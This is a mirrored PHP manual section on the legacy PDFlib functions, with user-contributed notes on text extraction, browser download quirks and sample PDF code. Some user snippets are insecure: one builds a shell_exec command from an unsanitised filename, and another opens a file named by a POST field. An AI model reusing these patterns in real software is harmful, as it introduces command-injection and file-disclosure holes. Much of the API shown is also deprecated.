}
?>
jonathan dot beckett at gmail dot com
06-Jun-2005 06:03
After spending ages writing my own PDF to text extraction routine (well... a couple of hours), I realised that you have to interpret the entire stream to have a hope of getting all the characters you really want - so I started digging.

I then discovered that the XPDF project has everything you need to deal with PDFs - Linux and Win32 binaries are available. Most distro's have the RPMs too.

The resultant command is thus;

$result = shell_exec("pdftotext -raw ".$filename." -");

...it works perfectly for content searching purposes.
q
02-Jun-2005 05:24
It seems that the newest adobe reader 7 (using pdf 1.6) is no longer fully compatible with pdfs generated with PDFlib <= 5. The solution is to upgrade to PDFlib 6. Unfortunately, this means coughing up some more cash to the authors, if you need to get rid of the watermark.
santa at selekcia dot com
19-May-2005 02:53
used function pdf2string does not work corectly with all PDFs. There are problems when in PDF are used 0x0D, 0x0A as line separator. Better way is detect length via /Length tag and detect first 2 chars if they are 0x0d or 0x0d and 0x0a both.

When I update this code i will send it, but if someone have now changed it please, publish it. May be it would be better to extend standard PDF lib included to PHP to add functionality to postprocess PDFs. It is usefull sometime to use for example templates, and so.

Thnx to all developpers extending PHP functions and base team.
webadmin at secretscreen dot com
06-Apr-2005 05:51
I found this info about pdflib scope on a Chinese (I think) site and translated it.  I was trying to do pdf_setfont and kept getting the wrong scope error.  Turns out it has to be in the Page scope.  So pdf_setfont will only work when called between pdf_begin_page and pdf_end_page.

#########################################
When API of the PDFlib is called, the error, Can't - IN 'document' scope occurs
There is a concept of " the scope " in the PDFlib, as for all API of the PDFlib it is called with some scope, the *1 which is decided This error occurs when it is called other than the scope where API is appointed. The chart below in reference, please verify API call position.

Path: PDF_moveto (), PDF_circle (), PDF_arc (), PDF_arcn (), PDF_rect () in each case PDF_stroke (), PDF_closepath_stroke (), PDF_fill (), PDF_fill_stroke (), PDF_closepath_fill_stroke (), PDF_clip (), PDF_endpath () the between

Page: PDF_begin_page () with PDF_end_page () in between outside path

Template: PDF_begin_template () with PDF_end_template () in between outside path

Pattern: PDF_begin_pattern () with PDF_end_pattern () in between outside path

Font: PDF_begin_font () with PDF_end_font () in between outside glyph

Glyph: PDF_begin_glyph () with PDF_end_glyph () in between outside path

Document: PDF_open_* () with PDF_close () in between outside page tempalte and pattern

Object: The PDF_new () with the PDF_delete () it belongs to the other no scope in between the place

Null: Outside object

Any: All scopes other than

##########################################

Hope this helps others as much as it helped me!!!
kevin at kevinnading dot com
31-Mar-2005 04:46
Hey people.. the bug with IE not accepting a pdf created via post.. If you can use a get method instead then it will work fine. both post and get methods work in firefox, but only the get method seems to work in IE. However, you may use a content-disposition attachment(means requires user interaction) to popup an open/save dialog box to the user and post/get both work in IE and firefox. Hope this helps!
beanjammin dot removethis at gmail dot com
31-Mar-2005 02:32
This was originally posted by mat3582 at NOSPAM dot hotmail dot com on the Session Handling Functions manual page, however as it is pdf specific I hope that moving it here will make it easier for others to find.

I fought this for longer than I'd care to admit after a web server distros switch before discovering my problem was session related and subsequently discovering Mat's post.

// Mats Note:

Outputting a pdf file to a MSIE browser didn't work (MSIE mistook the file for an Active-X control,
then failed to download) untill I added
<?php
ini_set('session.cache_limiter',"0");
?>
to my script. I hope this will help someone else.

// End Mats Note

In addition to Mat's suggestion the php.ini file can also be edited to add/change the session.cach_limiter setting to 0.
chu61 dot tw at gmail dot com
07-Mar-2005 11:57
How to get how many pages in a PDF? I read PDF spec. V1.6 and find this:

PDF set  a "Page Tree Node" to define the ordering of pages in the document. The tree structure allows PDF applications, using little memory to quickly open a document containing thousands of pages.

If a PDF have 63 pages, the page tree node will like this...

2 0 obj
<< /Type /Pages
   /Kidsn [ 4 0 R
               10 0 R
             ]
     /Count 63        <---- YES, got it
>>
endobj

[P.S]  a  PDF may not only a pages tree node, The right answer is in "root page tree node", if  /Count XX with  /Parent XXX node, it not "root page tree node"

SO, You must find the node with /Count XX and Without /Parent  terms, and you'll get total pages of PDF

%PDF-1.0  ~  %PDF-1.5 all works

Alex form Taipei,Taiwan
mattb at bluewebstudios dot com
05-Feb-2005 05:44
I recently tested Donatas' code below for the extraction of text from PDF files.  After running into a few problems where PDF files were not being read at all, I've modified it somewhat.  It still isn't perfect, but should work great for searching.  Thanks Donatas.

<?php
$test = pdf2string("<pathtoPDFfile>");
echo "$test";

# Returns a -1 if uncompression failed
function pdf2string($sourcefile)
{
   $fp = fopen($sourcefile, 'rb');
   $content = fread($fp, filesize($sourcefile));
   fclose($fp);

   # Locate all text hidden within the stream and endstream tags
   $searchstart = 'stream';
   $searchend = 'endstream';
   $pdfdocument = "";

   $pos = 0;
   $pos2 = 0;
   $startpos = 0;
   # Iterate through each stream block
   while( $pos !== false && $pos2 !== false )
   {
     # Grab beginning and end tag locations if they have not yet been parsed
     $pos = strpos($content, $searchstart, $startpos);
     $pos2 = strpos($content, $searchend, $startpos + 1);
     if( $pos !== false && $pos2 !== false )
     {
         # Extract compressed text from between stream tags and uncompress
         $textsection = substr($content, $pos + strlen($searchstart) + 2, $pos2 - $pos - strlen($searchstart) - 1);
         $data = @gzuncompress($textsection);
         # Clean up text via a special function
         $data = ExtractText($data);
         # Increase our PDF pointer past the section we just read
         $startpos = $pos2 + strlen($searchend) - 1;
         if( $data === false ) { return -1; }
         $pdfdocument = $pdfdocument . $data;
     }
   }

   return $pdfdocument;
}

function ExtractText($postScriptData)
{
   while( (($textStart = strpos($postScriptData, '(', $textStart)) && ($textEnd = strpos($postScriptData, ')', $textStart + 1)) && substr($postScriptData, $textEnd - 1) != '\\') )
   {
     $plainText .= substr($postScriptData, $textStart + 1, $textEnd - $textStart - 1);
     if( substr($postScriptData, $textEnd + 1, 1) == ']' ) // This adds quite some additional spaces between the words
     {
         $plainText .= ' ';
     }

     $textStart = $textStart < $textEnd ? $textEnd : $textStart + 1;
   }

   return stripslashes($plainText);
}
?>
ken at thesmallbox.com
30-Oct-2004 11:13
Please note that these functions have been removed from PHP 5. They are still available through the pdflib PECL module.
14-Aug-2004 02:58
for people who are using PDF_FINDFONT there is a catch..
--------------------------------------------------------

int PDF_findfont(PDF *p, const char *fontname, const char *encoding, int embed)

Deprecated, use PDF_load_font( ).

----
use PDF_load_font instead....
arjen at queek dot nl
15-Jul-2004 10:50
If you prefer a OO-approach to the PDF-functions, you can use this snippet of code (PHP5 only! and does add some overhead). It's just a "start-up", extend/improve as you wish...
You can pass all pdf_* functions to your object and stripping pdf_ of the function name. Plus, you don't have to pass the pdf-resource as the first argument.

For example:
<?php
pdf_show($pdf, $text);    // Where $pdf is your pdf-resource
?>

Can become:
<?php
$pdf->show($text);        // Where $pdf is your PDF-object
?>

Code:
<?php

class PDF {

   private $pdf;

   /* public Void __construct(): Constructor */
   public function __construct() {
       $this->pdf = pdf_new();
   }

   /* public Mixed __call(): Re-route all function calls to the PHP-functions */
   public function __call($function, $arguments) {
       // Prepend the pdf resource to the arguments array
       array_unshift($arguments, $this->pdf);

       // Call the PHP function
       return call_user_func_array('pdf_' . $function, $arguments);
   }

}

?>
michi (Alt+Q) marel.at
01-Jul-2004 10:10
<?PHP
/* A little helpful function to calculate millimeters to points */
function calcToPt($intMillimeter) {
  $intPoints = ($intMillimeter*72)/25.4;
  $intPoints = round($intPoints);
  return $intPoints;
}

/* For example: Create DIN A4 210x297 mm */
pdf_begin_page( $pdf, calcToPt(210), calcToPt(297)); // 595x842 pt
?>
donatas at spurgius dot com
23-Jun-2004 03:56
I've been looking for a way to extract plain text from PDF documents (needed to search for text inside 'em). Not being able to find one I wrote the needed functions myself. here you go folks.

<?php
  function pdf2string ($sourceFile)
  {
   $textArray = array ();
   $objStart = 0;

   $fp = fopen ($sourceFile, 'rb');
   $content = fread ($fp, filesize ($sourceFile));
   fclose ($fp);

   $searchTagStart = chr(13).chr(10).'stream';
   $searchTagStartLenght = strlen ($searchTagStart);

   while ((($objStart = strpos ($content, $searchTagStart, $objStart)) && ($objEnd = strpos ($content, 'endstream', $objStart+1))))
   {
     $data = substr ($content, $objStart + $searchTagStartLenght + 2, $objEnd - ($objStart + $searchTagStartLenght) - 2);
     $data = @gzuncompress ($data);

     if ($data !== FALSE && strpos ($data, 'BT') !== FALSE && strpos ($data, 'ET') !== FALSE)
     {
       $textArray [] = ExtractText ($data);
     }

     $objStart = $objStart < $objEnd ? $objEnd : $objStart + 1;
   }

   return $textArray;
  }

  function ExtractText ($postScriptData)
  {
   while ((($textStart = strpos ($postScriptData, '(', $textStart)) && ($textEnd = strpos ($postScriptData, ')', $textStart + 1)) && substr ($postScriptData, $textEnd - 1) != '\\'))
   {
     $plainText .= substr ($postScriptData, $textStart + 1, $textEnd - $textStart - 1);
     if (substr ($postScriptData, $textEnd + 1, 1) == ']') //this adds quite some additional spaces between the words
     {
       $plainText .= ' ';
     }

     $textStart = $textStart < $textEnd ? $textEnd : $textStart + 1;
   }

   return stripslashes ($plainText);
  }
?>
uwe at steinmann dot cx
13-May-2004 09:25
Those looking for a free replacement of pdflib may consider
pslib at http://pslib.sourceforge.net which produces PostScript but it can be easily turned into PDF by Acrobat Distiller or ghostscript. The API is very similar and even hypertext functions are supported. There
is also a php extension for pslib in PECL, called ps.
samcontact at myteks dot com
01-May-2004 07:28
Here is another great tutorial on basic PDF building w/ PHP:
http://hotwired.lycos.com/webmonkey/02/20/index3a.html?tw=programming

=======================
http://myteks.com
Computer Repair & Web Design
=======================
james at lanpad dot org
19-Apr-2004 11:36
PDFLib has a free replacement, that also is much easier to work with too (no more working with co-ordinates from the bottom left hand corner!)!

http://www.fpdf.org

Its also free for commercial use, and is very useable, unlike the PDFlib extensions.
kristian at ruazgo dot com
12-Mar-2004 06:32
If you want an opensource class for creating PDF-files, you can find it at :
http://ros.co.nz/pdf/
matic at koncan dot net
12-Jan-2004 10:22
The solution for IE (refresh):
...
$buf = PDF_get_buffer($p);
$len = strlen($buf);
header("Cache-Control: no-store");
header("Cache-Control: no-cache");
header("Cache-Control: must-revalidate");
header("Content-type: application/pdf");
header("Content-Length: $len");
header("Content-Disposition: inline; filename=file.pdf");
print $buf;
PDF_delete($p);
SenorTZ senortz at nospam dot yahoo dot com
28-Jul-2003 09:23
About creating a PDF document based on the content of another document(let's say a text file):

I have tried to send to the PDF-creator page from a link from the sender page the file name of the file I want to read the content from and generate the PDF document containing this content. The idea is is that when I tried to reffer the pdf-creator page via the link your_root/create_pdf.php?filename=$your_file_name, the pdf-creator page does not behave well when before creating the pdf document I have a line like $filename = $_GET["filename"].
I solved this using on the sender page instead of the link a form with a button, so the form has as action "create_pdf.php", as method "post" and a hidden field containing the "filename" value. And it works like this if, on the pdf-creator page I have a line like $filename = $_POST["filename"].

I would like to understand why this way it works and the other way does not.

I hope this helps. Here are the pieces of code I used.

Sender page:
print("<form name='to_pdf' action='see_pdf_file.php' method='post'>");
print("<br/><input type='submit' value='PDF'><input type='hidden' name='filename' value='$filename'></form>");

PDF-creator page:
<?
$filename = $_POST["filename"];
$file_handle = fopen($filename, "r");
$file_content = file_get_contents($filename);
fclose($file_handle);
//
$file_content = wordwrap($file_content,72,"|");
$a_row = explode("|",$file_content);
$i = 0;
//
$pdf = pdf_new();
pdf_open_file($pdf, "");
pdf_begin_page($pdf, 595, 842);
pdf_set_font($pdf, "Times-Roman", 16, "host");
pdf_add_outline($pdf, "Page 1");
pdf_set_value($pdf, "textrendering", 1);
pdf_show_xy($pdf, 'The content of the file:',50,700);
while ($a_row[$i] != "")
{
       pdf_continue_text($pdf,$a_row[$i]);
       $i++;
}
pdf_end_page($pdf);
pdf_close($pdf);
//
$data = pdf_get_buffer($pdf);
//
header("Content-type: application/pdf");
header("Content-disposition: inline; filename=test.pdf");
header("Content-length: " . strlen($data));
//
echo $data;
?>

PDFLib and PHP 431 used.

Thanks.
bmironov at jonview dot com
25-Jun-2003 06:46
RedHat 9 + Apache 2.0 + PHP 4.3.2 + Oracle 9i + PDFlib 5.0.1 (binary distribution)

It seems to be a working bundle if you do some magic with ./configure:

RedHat 9:
kernel-2.4.20-18.9

Apache 2.0.46:
./configure --enable-so --enable-rewrite=shared --enable-status --enable-mpm=prefork

PHP 4.3.2:
./configure \
--program-prefix= \
--prefix=/usr \
--exec-prefix=/usr \
--bindir=/usr/bin \
--sbindir=/usr/sbin \
--sysconfdir=/etc \
--datadir=/usr/share \
--includedir=/usr/include \
--libdir=/usr/lib \
--libexecdir=/usr/libexec \
--localstatedir=/var \
--sharedstatedir=/usr/com \
--mandir=/usr/share/man \
--infodir=/usr/share/info \
--with-config-file-path=/etc \
--with-config-file-scan-dir=/etc/php.d \
--without-tsrm-pthreads \    # !!!!!!!!!!!!!!!!!!!!
--with-zlib \
--with-gd \
--enable-gd-native-ttf \
--with-ttf \
--without-mysql \
--with-apxs2filter=/usr/local/apache2/bin/apxs \
--with-oci8 \
--enable-sigchild \
--enable-inline-optimization

Oracle9i:
ln -s $ORACLE_HOME/rdbms/public/nzerror.h $ORACLE_HOME/rdbms/demo/nzerror.h

ln -s $ORACLE_HOME/rdbms/public/nzt.h $ORACLE_HOME/rdbms/demo/nzt.h

ln -s $ORACLE_HOME/rdbms/public/ociextp.h $ORACLE_HOME/rdbms/demo/ociextp.h

If you want to use bundled GD-library then:
1) install following packages: libjpeg, libjpeg-devel, libpng, libpng-devel, freetype, freetype-devel, libtiff, libtiff-devel, zlib, zlib-devel

2) ln -s /usr/lib/libjpeg.so.62 /usr/lib/libjpeg.so
ln -s /usr/lib/libpng.so.62 /usr/lib/libpng.so

It seems to be a working combination, because it is NOT give you:
1) error message in Apache's error_log:
Module compiled with module API=20020429, debug=0, thread-safety=0
PHP compiled with module API=20020429, debug=0, thread-safety=1

2) error message in Apache's error_log:
[notice] child pid 12345 exit signal Segmentation fault (11)

3) MS Internet Explorer can show PDF-output from your PHP-script via Acrobat plug-in and does not crush. No confusing messages about opening "Adobe Acrobat Control for ActiveX".

Hope it will save you some time.

Good luck,
Boris
matt at nospam dot org
30-Aug-2002 02:11
Adding to my prior note, IE 6 has a strange feature of using GET when refreshing a pdf document, even though the page was originally POSTed to.  This may be the root cause of all the trouble listed above regarding posting and pdf.

So, I recommend:
1) using a two page form/action handler when doing pdf rendering instead of the standard $PHP_SELF form/self handler to resolve the problem discussed above
2) Using either GET, or a self posting form that sets cookies and then redirects to the pdf creation page instead of POST, so that the parms get to the page.  HTH
gilbertng at hongkong dot com
11-Jun-2002 06:23
Hope it can help someone:

   $pdf = pdf_new();
   //pdf_open_file($pdf,"");
   if (!pdf_open_file($pdf, "")) {
           print error;
           exit;
   }

             PDF_set_parameter($pdf, "resourcefile", "/usr/local/pdflib/fonts/pdflib.upr");
   PDF_set_parameter($pdf,"prefix","/usr/local/pdflib/fonts");

   pdf_begin_page($pdf, 595, 842);
   pdf_add_outline($pdf, "Page 1");

   //pdf_set_font($pdf, "Times-Roman", 30, "host");
             // set chinese characters,
   $font = pdf_findfont($pdf, "MHei-Medium", "B5pc-H",0);
   if ($font) {
       pdf_setfont($pdf, $font, 30);
   }

   pdf_set_value($pdf, "textrendering",0);
   pdf_show_xy($pdf, " 100 Roman outlined", 50, 750);

   pdf_set_font($pdf, "Times-Roman", 30, "host");
   pdf_show_xy($pdf, " Times Roman outlined", 50, 600);
   pdf_moveto($pdf, 50, 740);
   pdf_lineto($pdf, 330, 740);
   pdf_stroke($pdf);
   pdf_end_page($pdf);
   pdf_close($pdf);

   $buf = pdf_get_buffer($pdf);
   $len = strlen($buf);

   header("Content-type: application/pdf");
   header("Content-Length: $len");
   header("Content-Disposition: inline; filename=foo.pdf");
   print $buf;

   pdf_delete($pdf);
chernyshevsky at hotmail dot com
06-May-2002 06:22
If you're wondering how to highlight words inside a PDF file, take a look at this script I've written (doesn't need PDFLib)

http://zeus.jtlnet.com/~conradis/pdfhi.php.txt

It's a whole lot harder than you think. (Rarely has no much code been written that does so little, that's what I say :-) Worth looking at if you want to do searches inside a PDF.
pbierans at lynet dot de
28-Mar-2002 01:56
Load extension, open a PDF, add a font, modify PDF in memory and send
it to browser:

<?php
  // no cache headers:
  header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
  header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
  header("Cache-Control: no-store, no-cache, must-revalidate");
  header("Cache-Control: post-check=0, pre-check=0", false);
  header("Pragma: no-cache");

  $ext_name="libpdf_php.so";
   // libpdf_php.so is the PDFLIB for SunOS by "PDFlib GmbH"
   // visit http://www.pdflib.com

  // if the extension is not automatically loaded by Apache
  // dl() will try to load it on demand:
  if (!extension_loaded($ext_name) && !@dl($ext_name))
  {
   ?>
    <table width="100%" border="0"><tr><td align="center">
     <table style="border: solid #f0f0f0 2px;"><tr>
       <td valign="middle" style="padding: 20px; margin: 0px;">
         <p style="font-family: arial; font-size: 12px; ">
         <b>Sorry,</b><br>
         &nbsp;<br>
         A PDF can not be generated right now.<br>
         The administrator has been informed and will fix this as
         soon as possible.<br>
         Please try again later.
       </p>
     </td></tr></table>
   </td></tr></table>
   <?php
   mail('admin@domain.com','Error: PDFLib not found',
         'Called by script:\n  '.$SCRIPT_FILENAME.'?'.$QUERY_STRING,
         "From: warnings@domain.com\n");
   exit;
  } // verify that extension is usable

  // unique serial number:
  srand(microtime()*10000);
  $usnr= gmdate("Ymd-His-").rand(1000,9999).'-';
  $pdf_file=$usnr.'result.pdf';
  $src_file='source.pdf';

  // create pdf object
  $pdf = pdf_new();
  pdf_open_file($pdf);
  pdf_set_parameter($pdf, 'serial',      'if-you-have-one');

  // fonts to embed, they are in the folder of this file:
  pdf_set_parameter($pdf, 'FontAFM',    'TradeGothic=Tg______.afm');
  pdf_set_parameter($pdf, 'FontOutline', 'TradeGothic=Tg______.pfb');
  pdf_set_parameter($pdf, 'FontPFM',    'TradeGothic=Tg______.pfm');

  // load the source file:
  $src_doc  =pdf_open_pdi($pdf,$src_file,'', 0);
  $src_page  =pdf_open_pdi_page($pdf,$src_doc,1,'');
  $src_width =pdf_get_pdi_value($pdf,'width' ,$src_doc,$src_page,0);
  $src_height=pdf_get_pdi_value($pdf,'height',$src_doc,$src_page,0);

  pdf_begin_page($pdf, $src_width, $src_height);
  {
   // place the sourcefile to the background of the actual page:
   pdf_place_pdi_page($pdf,$src_page,0,0,1,1);
   pdf_close_pdi_page($pdf,$src_page);

   // modify the page:
   pdf_set_font($pdf, 'TradeGothic', 8, 'host');
   pdf_show_xy($pdf, 'Now: '.gmdate("Y-m-d H:i:s"),50,50);
  }
  pdf_end_page($pdf);
  pdf_close($pdf);

  // prepare output:
  $pdfdata = pdf_get_buffer($pdf); // to echo the pdf-data
  $pdfsize = strlen($pdfdata);    // IE requires the datasize

  // real datatype headers:
  header('Content-type: application/pdf');
  header('Content-disposition: attachment; filename="'.$pdf_file.'"');
  header('Content-length: '.$pdfsize);
  echo $pdfdata;
  exit; // keep this one so no #13#10 or #32 will be written
?>
bob at nijman dot de
02-Aug-2001 07:20
Try these tutorials:
************************************
http://www.dynamicwebpages.de/50.tutorials.php?dwp_tutorialID=11
http://www.dynamicwebpages.de/50.tutorials.php?dwp_tutorialID=13
http://www.zend.com/zend/spotlight/creatingpdfmay1.php
http://www.phpbuilder.com/columns/perugini20001026.php3
************************************
a dot marchand dot nospam at home dot com
02-May-2001 03:42
To continue on the internet explorer (Iexplorer, IE) requirements, instead of content-length, a simple:
header("Accept-Ranges: bytes");

is enough for the getpdf.php file working right. Even Netscape will without error with this modification.

Aurelien
add a note add a note

后退 | 起点 | 前进
parsekit_func_arginfo | 上一级 | pdf_add_annotation


pdf_add_annotation

(PHP 3 >= 3.0.12, PHP 4, PECL)

pdf_add_annotation -- Deprecated: Adds annotation

Description

This function is deprecated, use pdf_add_note() instead.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
PDF functions | 上一级 | pdf_add_bookmark


pdf_add_bookmark

(PHP 4 >= 4.0.1, PECL)

pdf_add_bookmark -- Adds bookmark for current page

Description

int pdf_add_bookmark ( resource pdfdoc, string text, int parent, int open )

Add a nested bookmark under parent, or a new top-level bookmark if parent = 0. Returns a bookmark descriptor which may be used as parent for subsequent nested bookmarks. If open = 1, child bookmarks will be folded out, and invisible if open = 0. Parameters parent and open are optional before PHP 4.3.5 or with PDFlib less than 5.

例子 1. pdf_add_bookmark() example

<?php
// create a new PDF

$pdf = pdf_new();
pdf_open_file($pdf);
pdf_set_info($pdf, "Author", "Bob Nijman");

// begin a new page
pdf_begin_page($pdf, 300, 300);

// add a top-level bookmark
$bookmark = pdf_add_bookmark($pdf, "People");

// add a nested bookmark
pdf_add_bookmark($pdf, "Rasmus", $bookmark);

// and some text
pdf_set_font($pdf, "Helvetica", 20, "host");
$text = "This is R's page";
$width = pdf_stringwidth($pdf, $text);
pdf_set_text_pos($pdf, (300-$width)/2, 100);
pdf_show($pdf, $text);

// close the page and the PDF
pdf_end_page($pdf);
pdf_close($pdf);

?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pdf_add_annotation | 上一级 | pdf_add_launchlink


pdf_add_launchlink

(PHP 4 >= 4.0.5, PECL)

pdf_add_launchlink -- Add a launch annotation for current page

Description

bool pdf_add_launchlink ( resource pdfdoc, float llx, float lly, float urx, float ury, string filename )

Adds a link to a web resource specified by filename. 如果成功则返回 TRUE，失败则返回 FALSE。

See also pdf_add_locallink().

add a note add a note User Contributed Notes
rhys at NOSPAM dot rhysmeister dot com
20-Jul-2004 08:24
pdf_add_launchlink($pdf, 300, 300, 325, 325, "http://www.google.co.uk");

The numbers plot a shape on the page. The first two plot the lower left corner and the next pair plot the upper right hand corner. Links can also be made to the local filesystem.
add a note add a note

后退 | 起点 | 前进
pdf_add_bookmark | 上一级 | pdf_add_locallink


pdf_add_locallink

(PHP 4 >= 4.0.5, PECL)

pdf_add_locallink -- Add a link annotation for current page

Description

bool pdf_add_locallink ( resource pdfdoc, float lowerleftx, float lowerlefty, float upperrightx, float upperrighty, int page, string dest )

Add a link annotation to a target within the current PDF file. 如果成功则返回 TRUE，失败则返回 FALSE。

dest is the zoom setting on the destination page, it can be one of retain, fitpage, fitwidth, fitheight or fitbbox.

See also pdf_add_launchlink().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pdf_add_launchlink | 上一级 | pdf_add_note


pdf_add_note

(PHP 4 >= 4.0.5, PECL)

pdf_add_note -- Sets annotation for current page

Description

bool pdf_add_note ( resource pdfdoc, float llx, float lly, float urx, float ury, string contents, string title, string icon, int open )

Sets an annotation for the current page. icon is one of comment, insert, note, paragraph, newparagraph, key, or help. 如果成功则返回 TRUE，失败则返回 FALSE。

例子 1. Adding a note to a PDF document with PDFlib

<?php
$pdfdoc = pdf_new();
if (!pdf_open_file($pdfdoc, '')) {
  echo 'error!';
  exit;
}
pdf_begin_page($pdfdoc, 300, 300);
if ($font = pdf_findfont($pdfdoc, 'Times-Roman', 'host', 0)) {
  pdf_setfont($pdfdoc, $font, 10);
}
pdf_set_value($pdfdoc, 'textrendering', 0);
pdf_add_note($pdfdoc, 100, 100, 180, 40, 'Note Content', 'Title', 'help', 0);
pdf_show_xy($pdfdoc, 'Example', 100, 100);
pdf_end_page($pdfdoc);
pdf_close($pdfdoc);
$data = pdf_get_buffer($pdfdoc);
header('Content-type: application/pdf');
header('Content-disposition: inline; filename=example.pdf');
header('Content-length: '.strlen($data));
echo $data;
?>

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pdf_add_locallink | 上一级 | pdf_add_outline


pdf_add_outline

(PHP 3 >= 3.0.6, PHP 4, PECL)

pdf_add_outline -- Deprecated: Adds bookmark for current page

Description

This function is deprecated, use pdf_add_bookmark() instead.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pdf_add_note | 上一级 | pdf_add_pdflink


pdf_add_pdflink

(PHP 3 >= 3.0.12, PHP 4, PECL)

pdf_add_pdflink -- Adds file link annotation for current page

Description

bool pdf_add_pdflink ( resource pdfdoc, float bottom_left_x, float bottom_left_y, float up_right_x, float up_right_y, string filename, int page, string dest )

Add a file link annotation (to a PDF target). 如果成功则返回 TRUE，失败则返回 FALSE。

See also pdf_add_locallink() and pdf_add_weblink().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pdf_add_outline | 上一级 | pdf_add_thumbnail


pdf_add_thumbnail

(PHP 4 >= 4.0.5, PECL)

pdf_add_thumbnail -- Adds thumbnail for current page

Description

bool pdf_add_thumbnail ( resource pdfdoc, int image )

Adds an existing image as thumbnail for the current page. Thumbnail images must not be wider or higher than 106 pixels. 如果成功则返回 TRUE，失败则返回 FALSE。

See also pdf_open_image(),
pdf_open_image_file() and
pdf_open_memory_image().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pdf_add_pdflink | 上一级 | pdf_add_weblink


pdf_add_weblink

(PHP 3 >= 3.0.12, PHP 4, PECL)

pdf_add_weblink -- Adds weblink for current page

Description

bool pdf_add_weblink ( resource pdfdoc, float lowerleftx, float lowerlefty, float upperrightx, float upperrighty, string url )

Add a weblink annotation to a target url on the Web. 如果成功则返回 TRUE，失败则返回 FALSE。

add a note add a note User Contributed Notes
rz at daimi dot au dot dk
24-Mar-2005 06:07
Notice that the coordinates given are absolute - they aren't tranformed using the transformation matrix.
The following example shows a simple function that shows an url and adds a weblink.
As illustrated it only works when the page isn't transformed.

<?php
function linkxy($x,$y,$url,$font,$size) {
  global $pdf;
  pdf_setfont($pdf, $font, $size);
  pdf_show_xy($pdf,$url,$x,$y);
  pdf_add_weblink($pdf,
         $x-2,
         $y-2+pdf_get_value($pdf,"descender",$font)*$size,
         $x+2+pdf_stringwidth($pdf,$url,$font,$size),
         $y+2+pdf_get_value($pdf,"ascender",$font)*$size,
         $url);
}
$pdf = pdf_new();
pdf_open_file($pdf);
pdf_begin_page($pdf, 595, 421);
$font = PDF_findfont($pdf, "Helvetica", "host", 0);

linkxy(50,300,"http://www.ruf.dk",$font,30);
/* the following does not work, sorry */
pdf_translate($pdf,250,100);
pdf_scale($pdf,0.6,1.2);
linkxy(10,100,"http://www.google.com",$font,30);

pdf_end_page($pdf);
pdf_close($pdf);
$data = pdf_get_buffer($pdf);
header('Content-type: application/pdf');
header('Content-disposition: inline; filename=myTest.pdf');
header('Content-length: ' . strlen($data));
echo $data;
pdf_delete($pdf);
?>
js at justnet dot com dot au
06-Jun-2002 12:22
The example given in the above comment is potentially confusing, since the 4th and 5th arguments appear to be the width and height of the link area, but are actually the coordinates of the diagonally opposite corner. This is much more evident when the starting point for the weblink is something other than 0,0 (which is of course very likely).

A better example:

$starting_xpos = 100;
$starting_ypos = 150;
pdf_add_weblink($pdf, $starting_xpos, $starting_ypos, $starting_xpos + $width, $starting_ypos + $height, "http://goweb.com.au/");
bob at nijman dot de
02-Aug-2001 10:55
Try this:

<?php

//create & open PDF-Object
$pdf = pdf_new();
pdf_open_file($pdf);
pdf_set_info($pdf, "Author","Bob Nijman");

//the interesting bit...
$pdfimage = pdf_open_image_file($pdf, "jpeg", "test.jpg");
$width = pdf_get_image_width($pdf, $pdfimage);
$height = pdf_get_image_height($pdf, $pdfimage);
pdf_begin_page($pdf, 421, 595);
pdf_place_image($pdf, $pdfimage, 0, 0, 1);
pdf_add_weblink($pdf, 0, 0, $width, $height, "http://www.hackeschermarkt.de");

//close it up
pdf_end_page($pdf);
pdf_close($pdf);
$data = pdf_get_buffer($pdf);
header('Content-type: application/pdf');
header('Content-disposition: inline; filename=myTest.pdf');
header('Content-length: ' . strlen($data));
echo $data;

?>
add a note add a note

后退 | 起点 | 前进
pdf_add_thumbnail | 上一级 | pdf_arc


pdf_arc

(PHP 3 >= 3.0.6, PHP 4, PECL)

pdf_arc -- Draws an arc (counterclockwise)

Description

bool pdf_arc ( resource pdfdoc, float x, float y, float r, float alpha, float beta )

Add a counterclockwise circular arc from alpha to beta degrees with center (x; y) and radius r. Actual drawing of the circle is performed by the next stroke or fill operation.

例子 1. pdf_arcn() example

<?php
// prepare document
$pdf = pdf_new();
pdf_open_file($pdf, "");
pdf_begin_page($pdf, 595, 842);

// an outlined arc
pdf_arc($pdf, 200, 700, 100, 0, 90);
pdf_stroke($pdf);

// a filled arc
pdf_arc($pdf, 200, 700, 50, 0, 90);
pdf_fill($pdf);

// an outlined and filled arc
pdf_setcolor($pdf, "fill", "gray", 0.8);
pdf_arc($pdf, 400, 700, 50, 0, 90);
pdf_fill_stroke($pdf);

// finish document
pdf_end_page($pdf);
pdf_close($pdf);

header("Content-type: application/pdf");
echo pdf_get_buffer($pdf);

pdf_delete($pdf);
?>

See also: pdf_arcn(),
pdf_circle(), pdf_stroke(),
pdf_fill() and pdf_fill_stroke().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pdf_add_weblink | 上一级 | pdf_arcn


pdf_arcn

(PHP 4 >= 4.0.5, PECL)

pdf_arcn -- Draws an arc (clockwise)

Description

bool pdf_arcn ( resource pdfdoc, float x, float y, float r, float alpha, float beta )

Add a clockwise circular arc from alpha to beta degrees with center (x; y) and radius r. Actual drawing of the circle is performed by the next stroke or fill operation.

例子 1. pdf_arcn() example

<?php

// prepare document
$pdf = pdf_new();
pdf_open_file($pdf, "");
pdf_begin_page($pdf, 595, 842);

// an outlined arcn
pdf_arcn($pdf, 200, 700, 100, 0, 90);
pdf_stroke($pdf);

// a filled arcn
pdf_arcn($pdf, 200, 700, 50, 0, 90);
pdf_fill($pdf);

// an outlined and filled arcn
pdf_setcolor($pdf, "fill", "gray", 0.8);
pdf_arcn($pdf, 400, 700, 50, 0, 90);
pdf_fill_stroke($pdf);

// finish document
pdf_end_page($pdf);
pdf_close($pdf);

header("Content-type: application/pdf");
echo pdf_get_buffer($pdf);

pdf_delete($pdf);
?>

See also: pdf_arc(), pdf_circle(),
